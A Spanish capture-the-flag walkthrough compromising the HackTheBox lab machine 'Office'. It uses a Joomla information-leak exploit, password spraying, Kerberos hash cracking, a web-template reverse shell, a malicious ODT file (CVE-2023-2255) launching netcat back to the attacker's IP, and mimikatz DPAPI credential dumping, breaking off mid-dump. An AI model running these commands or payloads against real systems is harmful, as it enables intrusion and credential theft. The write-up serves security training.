Office es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Office 10.129.105.137 a /etc/hosts como office.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.105.137 Nmap scan report for 10.129.105.137 Host is up, received echo-reply ttl 127 (0.28s latency). Scanned at 2024-02-21 08:45:25 GMT for 67s Not shown: 65517 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 443/tcp open https syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 49668/tcp open unknown syn-ack ttl 127 49679/tcp open unknown syn-ack ttl 127 57989/tcp open unknown syn-ack ttl 127 60625/tcp open unknown syn-ack ttl 127 60640/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Wed Feb 21 08:46:33 2024 -- 1 IP address (1 host up) scanned in 67.40 seconds |
Detectados los puertos abiertos escaneamos más a fondo los mismos a ver que descubrimos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
nmap -sCV -p 53,80,88,139,389,443,445,464,593,636,3268,5985,9389,49668,49679,57989,60625,60640 -oA enumeration/nmap2 10.129.105.137 Nmap scan report for 10.129.105.137 Host is up (0.046s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28) |_http-generator: Joomla! - Open Source Content Management |_http-title: Home | http-robots.txt: 16 disallowed entries (15 shown) | /joomla/administrator/ /administrator/ /api/ /bin/ | /cache/ /cli/ /components/ /includes/ /installation/ |_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-21 16:46:54Z) 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC.office.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb | Not valid before: 2023-05-10T12:36:58 |_Not valid after: 2024-05-09T12:36:58 443/tcp open ssl/http Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28) |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 |_http-title: 403 Forbidden | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=localhost | Not valid before: 2009-11-10T23:48:47 |_Not valid after: 2019-11-08T23:48:47 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC.office.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb | Not valid before: 2023-05-10T12:36:58 |_Not valid after: 2024-05-09T12:36:58 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC.office.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb | Not valid before: 2023-05-10T12:36:58 |_Not valid after: 2024-05-09T12:36:58 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49668/tcp open msrpc Microsoft Windows RPC 49679/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 57989/tcp open msrpc Microsoft Windows RPC 60625/tcp open msrpc Microsoft Windows RPC 60640/tcp open msrpc Microsoft Windows RPC Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-02-21T16:47:47 |_ start_date: N/A |_clock-skew: 7h59m57s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Feb 21 08:48:27 2024 -- 1 IP address (1 host up) scanned in 101.00 seconds |
Enumeración
Accedemos al portal web en el puerto 80 y nos encontramos la siguiente web

Revisamos localizaciones de ficheros típicas y encontramos la versión en el fichero README de la app

Vemos que se trata del cms Joomla y que su versión es la 4.2 así que nos vamos a google y encontramos la vulnerabilidad CVE-2023-23752 y un exploit en github.
Así que nos descargamos el mismo y lo ejecutaremos para obtener las credenciales de la ddbb
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ ruby exploit.rb http://office.htb Users [474] Tony Stark (Administrator) - Administrator@holography.htb - Super Users Site info Site name: Holography Industries Editor: tinymce Captcha: 0 Access: 1 Debug status: false Database info DB type: mysqli DB host: localhost DB user: root DB password: H0lOgrams4reTakIng0Ver754! DB name: joomla_db DB prefix: if2tx_ DB encryption 0 |
Revisamos también el fichero robots y encontramos varias uris interesantes, entre ellas el panel de admin

Probamos con las credenciales que tenemos pero no son válidas así que seguimos buscando.
Enumeraremos usuarios con kerbrute
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ kerbrute userenum -d office.htb --dc dc.office.htb /data/tools/SecLists/Usernames/xato-net-10-million-usernames.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: v1.0.3 (9dad6e1) - 02/21/24 - Ronnie Flathers @ropnop 2024/02/21 08:58:44 > Using KDC(s): 2024/02/21 08:58:44 > dc.office.htb:88 2024/02/21 08:58:53 > [+] VALID USERNAME: administrator@office.htb 2024/02/21 08:59:50 > [+] VALID USERNAME: Administrator@office.htb 2024/02/21 09:00:17 > [+] VALID USERNAME: ewhite@office.htb 2024/02/21 09:00:17 > [+] VALID USERNAME: etower@office.htb 2024/02/21 09:00:17 > [+] VALID USERNAME: dwolfe@office.htb 2024/02/21 09:00:18 > [+] VALID USERNAME: dlanor@office.htb 2024/02/21 09:00:18 > [+] VALID USERNAME: dmichael@office.htb |
Y vamos a probar si las credenciales que obtuvimos anteriormente son válidas para alguno de ellos
|
1 2 3 4 5 6 7 8 9 |
$ cme smb office.htb -u users.txt -p passwords.txt --continue-on-success SMB office.htb 445 DC [*] Windows 10.0 Build 20348 (name:DC) (domain:office.htb) (signing:True) (SMBv1:False) SMB office.htb 445 DC [-] office.htb\administrator:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE SMB office.htb 445 DC [-] office.htb\tstark:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE SMB office.htb 445 DC [-] office.htb\ewhite:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE SMB office.htb 445 DC [-] office.htb\etower:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE SMB office.htb 445 DC [+] office.htb\dwolfe:H0lOgrams4reTakIng0Ver754! SMB office.htb 445 DC [-] office.htb\dlanor:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE SMB office.htb 445 DC [-] office.htb\dmichael:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE |
Y tenemos unas credenciales válidas para el usuario dwolfe así que vamos a ver donde podemos utilizarlas.
Obteniendo una revshell
Revisamos los diferentes servicios y conseguimos conectar al smb
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ smbclient -L //office.htb/ -U dwolfe --password='H0lOgrams4reTakIng0Ver754!' Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SOC Analysis Disk SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to office.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available |
Donde obtenemos un fichero pcap en uno de los shares disponibles
|
1 2 3 4 5 6 7 8 9 10 11 |
$ smbclient //office.htb/SOC\ Analysis/ -U dwolfe --password='H0lOgrams4reTakIng0Ver754!' Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed May 10 18:52:24 2023 .. DHS 0 Wed Feb 14 10:18:31 2024 Latest-System-Dump-8fbc124d.pcap A 1372860 Mon May 8 00:59:00 2023 6265599 blocks of size 4096. 1109594 blocks available smb: \> get Latest-System-Dump-8fbc124d.pcap getting file \Latest-System-Dump-8fbc124d.pcap of size 1372860 as Latest-System-Dump-8fbc124d.pcap (1235,7 KiloBytes/sec) (average 1235,7 KiloBytes/sec) smb: \> |
Abrimos el fichero con wireshark y analizamos el mismo, donde vemos tráfico de kerberos

Y el hash del usuario tstark entre ellos

Así que construimos el hash y lo guardamos en un fichero y lo crackeamos con hashcat
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ hashcat -m 19900 tstark.hash /usr/share/wordlists/rockyou.txt ... $krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc:playboy69 Session..........: hashcat Status...........: Cracked Hash.Mode........: 19900 (Kerberos 5, etype 18, Pre-Auth) Hash.Target......: $krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c56...86f5fc Time.Started.....: Wed Feb 21 09:27:25 2024 (4 secs) Time.Estimated...: Wed Feb 21 09:27:29 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1282 H/s (12.64ms) @ Accel:32 Loops:1024 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 4864/14344385 (0.03%) Rejected.........: 0/4864 (0.00%) Restore.Point....: 4800/14344385 (0.03%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:3072-4095 Candidate.Engine.: Device Generator Candidates.#1....: 2222222 -> denis Hardware.Mon.#1..: Util: 94% |
Consiguiendo con ello la password del usuario administrator del panel de joomla, así que accedemos al mismo y vemos el siguiente dashboard

Una vez dentro, y ya que tenemos privilegios de administrador, editaremos la plantilla actual para añadir una revshell

Y al recargar la página tendremos una shell con el usuario web_account
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.129.105.137 50918 SOCKET: Shell has connected! PID: 6988 Microsoft Windows [Version 10.0.20348.2322] (c) Microsoft Corporation. All rights reserved. C:\xampp\htdocs\joomla>whoami office\web_account C:\xampp\htdocs\joomla> |
Escalado al usuario tstark
Revisamos los usuarios existentes en la máquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
c:\Users>dir Volume in drive C has no label. Volume Serial Number is C626-9388 Directory of c:\Users 01/17/2024 10:50 AM <DIR> . 01/22/2024 09:22 AM <DIR> Administrator 01/18/2024 12:24 PM <DIR> HHogan 01/22/2024 09:22 AM <DIR> PPotts 01/18/2024 12:29 PM <DIR> Public 01/18/2024 10:33 AM <DIR> tstark 01/22/2024 09:22 AM <DIR> web_account 0 File(s) 0 bytes 7 Dir(s) 4,536,045,568 bytes free |
Y existe el usuario tstark del cual obtuvimos antes la password, así que vamos a escalar al mismo con runas
|
1 2 3 4 5 6 7 |
PS C:\temp> .\RunasCs.exe tstark playboy69 cmd.exe -r 10.10.14.25:4445 tark playboy69 cmd.exe -r 10.10.14.25:4445 [*] Warning: The logon for user 'tstark' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token. [+] Running in session 0 with process function CreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-62924$\Default [+] Async process 'C:\Windows\system32\cmd.exe' with pid 5036 created in background. |
Y tendremos acceso en nuestra escucha
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4445 Listening on 0.0.0.0 4445 Connection received on 10.129.105.137 50952 Microsoft Windows [Version 10.0.20348.2322] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami office\tstark |
Obteniendo la flag de user
Y cogeremos la flag
|
1 2 3 4 5 6 7 8 |
C:\Windows\system32>cd c:\users\tstark\desktop cd c:\users\tstark\desktop c:\Users\tstark\Desktop>type user.txt type user.txt 0eb2a265618bf01a42fa756758767c29 c:\Users\tstark\Desktop> |
Escalado al usuario ppotts
Para el escalado a root enumeramos la máquina y encontramos un puerto corriendo un servicio web
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
c:\Users\tstark\Desktop>netstat -ant netstat -ant TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:88 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:389 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:443 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:464 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:593 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:636 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:8083 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49670 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:49679 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:57989 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:60625 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:60640 0.0.0.0:0 LISTENING InHost TCP 0.0.0.0:60652 0.0.0.0:0 LISTENING InHost |
Así que nos enviamos el mismo con chisel
|
1 2 3 4 5 6 7 8 9 10 11 |
PS C:\temp> iwr -uri http://10.10.14.25/chisel.exe -outfile chisel.exe $ ./chisel server --reverse --port 8000 2024/02/21 10:06:25 server: Reverse tunnelling enabled 2024/02/21 10:06:25 server: Fingerprint 5NE3YNZR7lMdENJPQ5vi3RbTPgnKsrsoe1DC72/OgUk= 2024/02/21 10:06:25 server: Listening on http://0.0.0.0:8000 PS C:\temp> .\chisel.exe client 10.10.14.25:8000 R:8083:127.0.0.1:8083 2024/02/21 10:06:38 client: Connecting to ws://10.10.14.25:8000 nt 10.10.14.25:8000 R:8083:127.0.0.1:8083 2024/02/21 10:06:38 client: Connected (Latency 116.539ms) |
Y accedemos, viendo el siguiente portal

Revisamos la página y encontramos un formulario de subida de currículums

Tratamos de subir ficheros con extensiones que no deberían estar permitidas y nos aparece el siguiente mensaje de error

Vemos que podemos subir ficheros odt, así que buscamos por google y encontramos un exploit para obtener una revshell por este medio gracias al CVE-2023-2255
Así que generamos con el exploit nuestro fichero odt malicioso
|
1 2 |
$ python3 CVE-2023-2255.py --cmd 'c:\temp\nc.exe 10.10.14.25 4446 -e powershell' --output pwn.odt File pwn.odt has been created ! |
Lo subimos al portal y conseguimos acceso con el usuario ppotts
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nc -nlvp 4446 Listening on 0.0.0.0 4446 Connection received on 10.129.105.137 55045 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows PS C:\Program Files\LibreOffice 5\program> whoami whoami office\ppotts PS C:\Program Files\LibreOffice 5\program> |
Escalado al usuario hhogan
Para este escalado lateral vamos a hacerlo con DPAPI
Esto se debe a que después de una enumeración exhaustiva encontramos que hay credenciales almacenadas
|
1 2 3 4 5 6 7 8 9 10 11 12 |
PS C:\Program Files\LibreOffice 5\program> cmdkey /list cmdkey /list Currently stored credentials: Target: LegacyGeneric:target=MyTarget Type: Generic User: MyUser Target: Domain:interactive=office\hhogan Type: Domain Password User: office\hhogan |
Así que vamos en primer lugar a listar los vault existentes con mimikatz
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
PS C:\temp> .\mimikatz.exe "vault::list" exit .\mimikatz.exe "vault::list" exit .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # vault::list Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28} Name : Web Credentials Path : C:\Users\PPotts\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28 Items (0) Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29} Name : Windows Credentials Path : C:\Users\PPotts\AppData\Local\Microsoft\Vault Items (1) 0. (null) Type : {3e0e35be-1b77-43e7-b873-aed901b6275b} LastWritten : 1/18/2024 11:53:30 AM Flags : 00002004 Ressource : [STRING] Domain:interactive=office\hhogan Identity : [STRING] office\hhogan Authenticator : PackageSid : *Authenticator* : [BYTE*] *** Domain Password *** |
Buscamos también ficheros de credenciales existentes en el servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 |
PS C:\temp> Get-ChildItem -Hidden c:\users\ppotts\appdata\roaming\microsoft\credentials\ Get-ChildItem -Hidden c:\users\ppotts\appdata\roaming\microsoft\credentials\ Directory: C:\users\ppotts\appdata\roaming\microsoft\credentials Mode LastWriteTime Length Name ---- ------------- ------ ---- -a-hs- 5/9/2023 2:08 PM 358 18A1927A997A794B65E9849883AC3F3E -a-hs- 5/9/2023 4:03 PM 398 84F1CAEEBF466550F4967858F9353FB4 -a-hs- 1/18/2024 11:53 AM 374 E76CCA3670CD9BB98DF79E0A8D176F1E |
Y volvemos a lanzar mimikatz sobre los ficheros descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
PS C:\temp> .\mimikatz.exe "dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\18A1927A997A794B65E9849883AC3F3E" exit .\mimikatz.exe "dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\18A1927A997A794B65E9849883AC3F3E" exit .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\18A1927A997A794B65E9849883AC3F3E **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {191d3f9d-7959-4b4d-a520-a444853c47eb} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 0000003a - 58 szDescription : Enterprise Credential Data algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : 88fdf043461d4913a49680c2cf45e8e6 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : b68952824efb5374f396ef024b7f4f56 dwDataLen : 00000098 - 152 pbData : 0c1483543655e1eee285cb5244a83b72932723e88f937112d54896b19569be22aeda49f9aec91131dab8edae525506e7aa4861c98d67768350051ae93d9c493596d3e506fae0b6e885acd9d2a2837095d7da3f60d80288f4f8b8800171f26639df136e45eb399341ab216c81cf753aecc5342b6b212d85a46be1e2b45f6fcebd140755ec9d328c6d66a7bab635346de54fee236a63d20507 dwSignLen : 00000014 - 20 pbSign : 3a5e83bb958d713bfae523404a4de188a0319830 PS C:\temp> PS C:\temp> .\mimikatz.exe "dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4" exit PS C:\temp> .\mimikatz.exe "dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4" exit Get-Process : A positional parameter cannot be found that accepts argument '.\mimikatz.exe'. At line:1 char:1 + PS C:\temp> .\mimikatz.exe "dpapi::cred /in:c:\users\ppotts\appdata\r ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidArgument: (:) [Get-Process], ParameterBindingException + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.GetProcessCommand PS C:\temp> .\mimikatz.exe "dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\E76CCA3670CD9BB98DF79E0A8D176F1E" exit .\mimikatz.exe "dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\E76CCA3670CD9BB98DF79E0A8D176F1E" exit .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # dpapi::cred /in:c:\users\ppotts\appdata\roaming\microsoft\credentials\E76CCA3670CD9BB98DF79E0A8D176F1E **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {10811601-0fa9-43c2-97e5-9bef8471fc7d} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 0000003a - 58 szDescription : Enterprise Credential Data algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : 98d5fae89fd2aa297e5b56fff50a935d dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : 1e6765360d9bbfd511bc5c30e366485d dwDataLen : 000000a8 - 168 pbData : b3fe8d6e16f600055f65332874a6a6f1cc9b256edd22812ab615cd680096a34d5ba1baae7a2522beac4a0fd9e2f2af69796a3dba0afba53d87ebc1d779764ae59cb6bc076400e3481cb922032a6b8398c2f76e62ecaf59bd625bef5692ff14f8fd62b6daf2f9576d7bdf36922663452d8f694f78c6e61b23e0f5f37470d8109812e7de03a08264cfbcfb4c489cf4867acf609b6f9297489a1975004723ddb51c9bd1a162255144b3 dwSignLen : 00000014 - 20 pbSign : 61c53169de0f977282c18917d1bb630d67f3cb33 |
Hemos encontrado credenciales, aunque están cifradas, así que buscaremos el sid del usuario.
La clave DPAPI utilizada para cifrar la clave RSA de un usuario se almacena en la ruta
|
1 |
%APPDATA%\Microsoft\Protect\SID |
donde SID es la clave del usuario, por lo tanto la clave DPAPI se almacenará en el mismo archivo que la clave amestra que protege la clave, que suelen ser 64 bytes de datos aleatorios.
Así que enumeramos el contenido de la ruta protect
|
1 2 3 4 5 6 7 8 9 10 |
PS C:\temp> Get-ChildItem c:\users\ppotts\appdata\roaming\microsoft\protect\ Get-ChildItem c:\users\ppotts\appdata\roaming\microsoft\protect\ Directory: C:\users\ppotts\appdata\roaming\microsoft\protect Mode LastWriteTime Length Name ---- ------------- ------ ---- d---s- 1/17/2024 3:43 PM S-1-5-21-1199398058-4196589450-691661856-1107 |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
PS C:\temp> Get-ChildItem -Hidden c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\ Get-ChildItem -Hidden c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\ Directory: C:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a-hs- 1/17/2024 3:43 PM 740 10811601-0fa9-43c2-97e5-9bef8471fc7d -a-hs- 5/2/2023 4:13 PM 740 191d3f9d-7959-4b4d-a520-a444853c47eb -a-hs- 5/2/2023 4:13 PM 900 BK-OFFICE -a-hs- 1/17/2024 3:43 PM 24 Preferred |
Y volvemos a mimikatz para descifrar la última parte
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
PS C:\temp> .\mimikatz.exe "dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\10811601-0fa9-43c2-97e5-9bef8471fc7d /rpc" "dpapi::cache" exit .\mimikatz.exe "dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\10811601-0fa9-43c2-97e5-9bef8471fc7d /rpc" "dpapi::cache" exit .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # dpapi::masterkey /in:c:\users\ppotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\10811601-0fa9-43c2-97e5-9bef8471fc7d /rpc **MASTERKEYS** dwVersion : 00000002 - 2 szGuid : {10811601-0fa9-43c2-97e5-9bef8471fc7d} dwFlags : 00000000 - 0 dwMasterKeyLen : 00000088 - 136 dwBackupKeyLen : 00000068 - 104 dwCredHistLen : 00000000 - 0 dwDomainKeyLen : 00000174 - 372 [masterkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : 8bc9f4a7b9094394e57e92daedeafcb9 rounds : 00004650 - 18000 algHash : 00008009 - 32777 (CALG_HMAC) algCrypt : 00006603 - 26115 (CALG_3DES) pbKey : f97146093504382ec842cd2eec5f2bbfbbdd83ab6c4e44ada82d5ae23d1a05422fe6d1378165d4434bf41737616acf823e86c69424271d0f72684018a0928045ef77b719003b352644398f4286795b1297bee821deec898cb167aa76d984808014aa0d22136688c3 [backupkey] **MASTERKEY** dwVersion : 00000002 - 2 salt : 26773bc8263172355939bdb9cb33e2f9 rounds : 00004650 - 18000 